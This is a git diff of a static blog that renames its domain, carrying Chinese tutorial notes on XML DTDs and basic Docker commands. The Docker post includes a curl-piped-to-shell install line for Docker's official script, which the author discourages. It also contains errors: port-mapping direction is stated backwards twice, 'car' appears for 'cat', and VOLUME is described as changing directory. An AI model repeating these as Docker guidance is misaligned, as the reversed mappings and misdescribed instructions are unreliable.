Language）</p><p>xml和html类似，但是xml是用来传输和存储数据的，xml大小写敏感，xml的标记是自定义的</p><p>xml声明，该声明位在xml文档的第一行，结尾</p><p>version属性表示xml的版本，encoding属性表示该xml文档的编码方式，standalone属性表示该文档是否为独立，no表示依赖于外部文档</p><p>xml的标记也可以像html一样，认为是元素，一般由开始标签，属性，内容，结束标签组成，例如xml</p><p>和就是xml文档中的标签（元素），和html一样，可以嵌套n个子元素，如果一个元素没有被嵌套到其他元素上，那么这个元素就是根元素</p><p>一般来说一个格式良好的xml文档只有一个根元素，而且根元素是xml文档的第一个元素，如果一个元素没有嵌套子元素也没有内容，那么这个元素为空元素，空元素不需要结束标签，例如</p><p>属性是元素的描述和说明，可以使用多个属性，每个属性都有自己名称和值，值用"&ldquo;或者&rsquo;&lsquo;包起来</p><p>xml的注释方式和html一样，</p><p>DTD约束</p><p>XML是自定义标签，浏览器不知道这个标签是用来干什么的，因此制定的一套约束，遵循一定的语法</p><p>DTD约束写在一个DTD文件里，dtd导入，例如：</p><p>如果导入了本地的DTD文档，那么standalone属性的值不能为yes</p><p>DTD除了导入外，还可以内嵌，例如</p><p>元素内容包括元素的声明，包括数据类型和符号</p><p>PCDATA 中文意思就是被解析的字符数据，会被解析器解析</p><p>子元素 例如</p><p>空元素 一般用来定义空元素</p><p>ANY 表示这个元素没有包含任何字符数据和子元素，例如，在实际开发中，尽量不要使用ANY，除了根元素外，其他使用ANY的元素会失去DTD对XML的约束</p><p>符号</p><p>问号?:表示该对象可以出现0次或者1次
 星号*:表示该对象可以出现0次或者多次
 加号+:表示该对象可以出现1次或者多次
 竖线|:表示在列出的对象中选择一个
 逗号,:表现对象必须按照指定的顺序出现
 括号():用于给元素进行分组</p><p>DTD除了给定义元素外，也可以为元素定义属性</p><p>属性类型指定该属性是属性哪个类型的，属性说明一般用来说明该属性是否必须出现</p><p>属性类型</p><p>CDTATA // 表示属性类型为字符数据，如果想在属性设置值中出现特殊符号（例如&lt;），那么需要使用其转义字符序列来表示，例如 &ldquo;&lt;&ldquo;来表示&rdquo;&lt;&rdquo;</p><p>Enumerated(枚举类型) // 在声明一个属性时，可以限制该属性的取值只能从一个列表中选择，但是在DTD文档中不会出现Enumerated关键字，用法例如：</p><p>ID // 表示该属性类型为唯一标识，一个元素只能有一个id类型的属性，而且属性说明必须为REQUIRED或者IMPLIED</p><p>IDREF和IDREFS // 一般用来关联元素与元素之间的关系，而且IDREF类型的属性的值必须为一个已经存在的ID类型的属性值，例如：</p><p>1
-2</p><p>说明ID为01和02的元素之间，存在关联</p><p>IDREFS就是引用多个ID类型的属性值，例如：</p><p>1</p><p>属性说明</p><p>REQUIRED // 表示这个元素的这个属性是必须的</p><p>IMPLIED // 表示这个元素可以包含这个属性，也可以不包含</p><p>FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值</p><p>默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/xml/>xml</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/18/><span class=title>« Prev</span><br><span>Docker容器的简单使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/16/><span class=title>Next »</span><br><span>JavaScript-IntersectionObserver构造函数笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+2</p><p>说明ID为01和02的元素之间，存在关联</p><p>IDREFS就是引用多个ID类型的属性值，例如：</p><p>1</p><p>属性说明</p><p>REQUIRED // 表示这个元素的这个属性是必须的</p><p>IMPLIED // 表示这个元素可以包含这个属性，也可以不包含</p><p>FIXED // 表示这个固定的属性默认值，不能将该属性的值设置为其他值，使用该说明时还需要提供一个默认值，如果XML没有定义该属性，那么其值就被自动设置为DTD定义的默认值</p><p>默认值 // 和FIXED一样，不同的是，这个属性的值可以改变，如果在xml文档中设置了新的值，那么新的值会覆盖DTD定义的默认值</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/xml/>xml</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/18/><span class=title>« Prev</span><br><span>Docker容器的简单使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/16/><span class=title>Next »</span><br><span>JavaScript-IntersectionObserver构造函数笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/18/index.html b/posts/18/index.html
index 0ae7d3fd..f96ffc57 100644
--- a/posts/18/index.html
+++ b/posts/18/index.html
@@ -27,8 +27,8 @@
 配置稳定Docker CE源
 sudo add-apt-repository &ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable&rdquo;
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/18/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Docker容器的简单使用"><meta property="og:description" content="docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
+sudo apt install docker-ce docker-ce-cli containerd."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/18/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Docker容器的简单使用"><meta property="og:description" content="docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
 在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现
@@ -57,7 +57,7 @@
 配置稳定Docker CE源
 sudo add-apt-repository &ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable&rdquo;
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/18/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:34:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:34:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Docker容器的简单使用"><meta name=twitter:description content="docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
+sudo apt install docker-ce docker-ce-cli containerd."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/18/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T09:34:00+00:00"><meta property="article:modified_time" content="2021-06-16T09:34:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Docker容器的简单使用"><meta name=twitter:description content="docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行
 可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题
 将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境
 在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现
@@ -86,7 +86,7 @@
 配置稳定Docker CE源
 sudo add-apt-repository &ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable&rdquo;
 安装docker引擎
-sudo apt install docker-ce docker-ce-cli containerd."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Docker容器的简单使用","item":"https://xiaochenabc123.github.io/posts/18/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Docker容器的简单使用","name":"Docker容器的简单使用","description":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg \u0026ndash;dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository \u0026ldquo;deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable\u0026rdquo;\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.","keywords":["docker"],"articleBody":"docker是一个应用容器，可以将应用以及该应用的依赖打包到一个可以移植的容器中，应用在这个容器中运行\n可以进行转移，修改，版本管理等操作，不用担心应用转移到别的服务器会出现依赖问题\n将容器文件转移到别的服务器上，不会影响到容器，一次配置，可以在多个服务器上使用相同的环境\n在以前，根本不可能实现或者保障一个服务器是运行多个应用，直到虚拟机的出现，虚拟机可以让空闲的服务器部署新的应用，但是虚拟机依赖于操作系统，操作系统又会占用CPU和内存，以及存储，而且虚拟机的移植性差启动缓慢，直到容器的出现\n运行在相同的宿主机的容器是共享一个操作系统的，而且容器具备启动快，移植性强的特点（不用担心本地运行好好的，到生产环境就出一堆问题）\ndocker的多数项目和工具是使用golang编写的\nDocker容器技术高度依赖于Linux内核，不管是在windwos或者Mac OS上都不是真正的容器化（只有在Linux系统上才能实现无虚拟化的真正容器化），都是在虚拟化Linux之后，在Linux虚拟机的基础上实现的\nDocker三大件：镜像，容器，仓库\n镜像被用来创建容器（而且镜像文件是复用，只可读的）\n容器是镜像文件的实例，容器与容器之间是隔离的，容器可被启动，查看，暂停，退出，重启，删除\n仓库是集中存储镜像文件的地方，Docker官方仓库：https://hub.docker.com/\nDocker官网文档：https://docs.docker.com/\nDocker是基于C/S架构（Client-Server）的系统，Docker的守护进程（Docker Daemon）运行在服务端上，客户端通过Docker Client和守护进程建立通信，守护进程可以接收客户端发送的指令并且可以管理服务端的容器\nDocker Engine（引擎）会执行客户端发送的指令，来执行Docker内部的工作，每一项工作以Job的形式存在（一个job表示一个工作任务）\n如果job（工作任务）需要镜像时，会从Docker Registry中下载获取镜像（如果本地存在则从本地获取，如果没有再从远程仓库获取）\n当Docker容器需要创建网络环境时，通过Network driver创建并且配置Docker容器网络环境（通过网桥来暴露对外的端口和ip）\n如果需要限制Docker容器运行资源或者执行用户指令时，通过Exec driver完成\n网络的配置以及Exec driver的实现都是通过Libcontainer来实现的，Libcontainer是用来管理容器的包，该包基于go语言开发的，像创建容器，删除容器等等都可通过Libcontainer完成\n安装docker（环境为ubuntu20.04）\n如果之前安装过docker，需要先卸载\nsudo apt remove docker docker-engine docker.io containerd runc\ndocker官方推荐使用docker的存储库来安装或者升级，而不是通过脚本或者通过下载deb软件的方式来安装\n安装依赖\nsudo apt install ca-certificates curl gnupg lsb-release\n配置docker官方的GPG密钥\ncurl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg –dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg\n配置稳定Docker CE源\nsudo add-apt-repository “deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian $(lsb_release -cs) stable”\n安装docker引擎\nsudo apt install docker-ce docker-ce-cli containerd.io\n或者直接使用docker官方提供的sh脚本\ncurl -s https://get.docker.com | sh （不推荐使用）\n如果需要安装指定版本的docker，可指定docker-ce和docker-ce-cli的版本\n查看源仓库中可安装的docker的版本\napt-cache madison docker-ce\n启动docker服务\nservice docker start\n关闭docker服务\nservice docker stop\n重启docker服务\nservice docker restart\n检查是否安装成功（创建一个测试容器，并且执行该容器，该容器会返回信息并且退出）\nsudo docker run hello-world\n或者docker version\n查看所有镜像\ndocker image ls或者docker images\n查看所有容器\ndocker ps\ndocker ps -a # 输出所有容器（包括未运行的）\ndocker ps -q # 只输出容器id\ndocker ps -a -q # 输出所有容器id\ndocker ps -n 5 # 输出最近创建的5个容器\ndocker ps -l # 显示最近创建的容器\nREPOSITORY：镜像名称，TAG：镜像的标签（一般为该镜像的版本号），IMAGE ID：镜像id，CREATED：镜像创建时间，SIZE：镜像大小\n镜像id实质上为该镜像的sha256\n注意：如果不指定版本，将默认使用latest版本的镜像\ndocker system df # 查看Docker的磁盘使用情况\ndocker stop 容器id（或者容器名都可以） -f # 关闭指定容器，-f为强制删除\ndocker stop $(docker ps -a -q) # 关闭所有容器\n删除指定容器\ndocker image rm 容器名称 # 例如 docker image rm centos\ndocker rmi 容器id # 删除指定镜像\ndocker rmi $(docker images -a -q) # 删除所有镜像\n查看所有正在运行的容器\ndocker container ls或者docker ps\n查看所有的容器（包括已经停止运行的）\ndocker container ls –all\n运行指定容器\ndocker container run 镜像名\n或者\ndocker run 镜像名\n启动容器\ndocker start 容器ID或者容器名\n重启容器\ndocker restart 容器ID或者容器名\n停止容器\ndocker stop 容器ID或者容器名\n强制停止运行容器\ndocker kill 容器ID或者容器名\n删除已经停止运行的容器\ndocker rm 容器ID\n注意：rm是删除容器，rmi是删除镜像\ndocker exec -it 容器ID bash # 在容器中打开新终端，并且启动新的进程，在这个情况下使用exit退出不会导致容器的暂停，而attach会导致容器的暂停，推荐使用exec\ndocker attach 容器ID # 直接进入容器启动命令的终端，不启动新的进程\ndocker run -it ubuntu /bin/bash # i表示以交互模式运行容器，t为给容器创建一个伪终端（搭配使用就是交互式容器）\ndocker run –name=“容器的新名称” 镜像名 # 为容器指定新名称，如果不指定，容器名称默认为镜像名\ndocker run -d 镜像名 # 后台运行容器并且返回容器id（以守护进程的方式后台运行容器）\ndocker run -p 80:8080 镜像名 # 运行并且映射指定容器的80端口到物理机的8080端口\ndocker run -P 镜像名 # 随机端口映射，不常用\n获取容器（从镜像源（docker hub）中下载到本地，docker提供大量已经配置好的容器，可以直接下载使用，修改）\ndocker image pull 镜像名 # 拉取某个镜像\ndocker search 镜像名 # 搜索查找某个镜像\nNAME：容器仓库名称，DESCRIPTION：容器描述，STARS：类似github的star，关注，喜欢 OFFICIAL：是否为官方，AUTOMATED：是否为自动构建\ndocker cp 容器id:容器内部的路径 目标主机的路径 # 将容器的文件备份（拷贝）到主机中\n导出导入容器（备份容器）\ndocker export 容器id \u003e 文件x.tar # 导出容器\ncar 文件x.tar | docker import - 镜像用户/镜像名:镜像版本号 # 导入容器\n修改容器源\n国内容器源\nhttp://hub-mirror.c.163.com # 网易云\nhttps://docker.mirrors.ustc.edu.cn # 中国科技大学\nhttps://mirror.ccs.tencentyun.com # 腾讯云\ndocker run hello-world –registry-mirror=https://mirror.ccs.tencentyun.com 容器名 # 只对当前指令起作用\n找到/etc/default/docker 插入\nDOCKER_OPTS=\"–registry-mirror=https://mirror.ccs.tencentyun.com\"\n或者\n找到/etc/docker/daemon.json，插入\n{“registry-mirrors”: [“https://mirror.ccs.tencentyun.com”]} # 可以插入多个源\n然后重启服务\n如果dockerhub满足不了，可以在hub已存在的容器中进行修改（安装，卸载…）\n或者使用Dockerfile，从零开始构建容器\nmkdir hallo \u0026\u0026 cd hallo # 新建一个文件夹，并且进入这个文件夹\nnano Dockerfile # 新建个文件，并且修改它\nFROM ubuntu:18.04 RUN apt -y update \u0026\u0026 apt install -y nginx \u0026\u0026 apt install -y mariadb-server \u0026\u0026 apt install -y php*\nFROM：基础镜像,操作都是基于这个基础镜像，RUM：执行指定指令（shell）\n其他参数，MAINTAINER：容器创建者，CMD：当容器启动时执行命令，只能有一条CMD命令，多条执行最后一条，容器run命令会覆盖cmd命令\nENTRYPOINT：当容器启动时执行命令，不可覆盖\nUSER：指定哪个用户来启动容器\nEXPOSE：容器内部开启端口，一般用于容器端口映射到主机端口上\nENV：环境变量\nADD：复制或者下载到容器，请确保本地或者docker仓库中有需要add的文件，例如：\nADD 文件路径（或者url） 目标容器的绝对路径\nVOLUME：切换目录用，类似cd\n打包容器\ndocker build -t 容器名 .\n这个“.”表示为当前路径\n如果正在运行docker，想退出可以使用ctrl+D，例如\n在centos中体验Ubuntu系统\n例如docker container run -it ubuntu bash\n如果想退出docker，可以在docker（run进去的容器）中输入exit\n如果想docker中的容器不停止， 快捷键 ctrl+p+q\n推送本地容器到docker仓库中\n首先需要一个docker仓库账号，例如https://hub.docker.com/或者https://cr.console.aliyun.com/cn-hangzhou/new # 阿里容器镜像服务，\ndocker login -u 账号 -p 密码 # 登录DockerHub账号\ndocker push hallo_word:yes\ndocker pull会默认推送带有latest标签的容器到本地，所以推荐把容器标签修改为latest，或者直接指定要推送哪个容器，精确到标签\ndocker tag hallo_word:yes hallo_word:latest\n推送到第三方仓库（例如：阿里容器镜像服务）\ndocker pull registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送容器到本地\ndocker login –username=xxx@qq.com registry.cn-hangzhou.aliyuncs.com # 登录的用户名为阿里云账号全名，密码为开通服务时设置的密码，如果是私有仓库，那么需要推送容器到本地之前执行，推送容器到本地之后再执行一次\ndocker tag 容器id registry.cn-hangzhou.aliyuncs.com/xxx/xxx:latest # 推送到阿里容器仓库\n端口映射（实质上并不是docker容器技术实现的，是利用了iptables）\ndocker配置文件hostconfig.json\ndocker run -d -p 8000:80 ubuntu // 将容器的8000端口映射到宿主机上的80端口\ndocker为啥比虚拟机性能好\ndocker不需要硬件资源的虚拟化，docker的容器的软件是可以直接使用物理机的硬件资源的（更好的利用硬件资源），而且docker是直接调用的宿主机的内核，不需要重新加载操作系统的OS内核（减少不必要的浪费）\n虚悬镜像（dangling image）：指的是仓库名，标签都是的镜像，一般出现在删除镜像出错时\n查找虚悬镜像\ndocker image ls -f dangling=true\n删除虚悬镜像\ndocker image prune #删除所有dangling image\n镜像是一种独立，可执行，轻量级的软件包，包含某个软件需要的所有内容，这个镜像包含应用程序，应用的配置依赖，这个镜像实质上就是一个可交付的运行环境\n镜像分层系统实现依赖于UnionFS\nUnionFS（联合文件系统）：是一种分层，轻量级的高性能文件系统，支持对文件系统的修改作为一次提交来一层一层的叠加，并且将不同的目录挂载到同一个虚拟文件系统下\n镜像可通过分层来基于基础镜像来制造各种应用镜像\nDocker镜像加载原理：通过UnionFS来一层一层组成，bootfs（boot file system）加载和引导内核，当boot加载完毕，内存使用权从bootfs转交到内核，系统卸载bootfs\nrootfs（root file system）就是操作系统，包含Linux系统中标准的/bin，/etc等目录\nDocker镜像为啥这么小的原因就是镜像只包含bootfs和rootfs，复用宿主机的内核\n镜像分层的好处：可复用，方便共享（复制迁移）资源，镜像的每一层都可以被共享，可复用\n镜像层是只读，容器层是可写的，当一个容器被启动，一个可写层被加载到镜像的顶部时，那么这一层被叫为容器层，容器层之下的都被叫为镜像层\ncommit命令提交副本来创建新镜像\ndocker commit -m=“注释” -a=“作者” 容器id 用户/镜像名:镜像版本号\n搭建私有仓库\ndocker私有仓库（Docker Registry）\nDocker Registry是docker提供的镜像，专门用来构建docker私有仓库\ndocker pull registry # 拉取Registry镜像\ndocker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry\n默认情况下，仓库被创建在容器的/var/lib/registry目录下（当然也可以通过容器卷来映射）\ndocker tag ubuntu 192.168.1.110:5000/ubuntu # 修改tag为符合私有仓库的规范\n这个私有仓库默认不支持http推送，需要修改/etc/docker/daemon.json\n“insecure-registries”: [“192.168.1.110:5000”]\n如果不生效，请重启docker服务\n推送镜像到私有仓库\ndocker push 192.168.1.110:5000/ubuntu\n查看私有仓库存储的镜像\ncurl -XGET http://192.168.1.110:5000/v2/_catalog\n获取私有仓库镜像到本地\ndocker pull 192.168.1.110:5000/ubuntu\n容器数据卷\n-v参数为启动自定义容器数据卷\n比如说docker run -d -p 5000:5000 -v /test/registry/:/tmp/registry – privileged=true registry\n/test/registry/为宿主机路径，/tmp/registry为容器内部路径，– 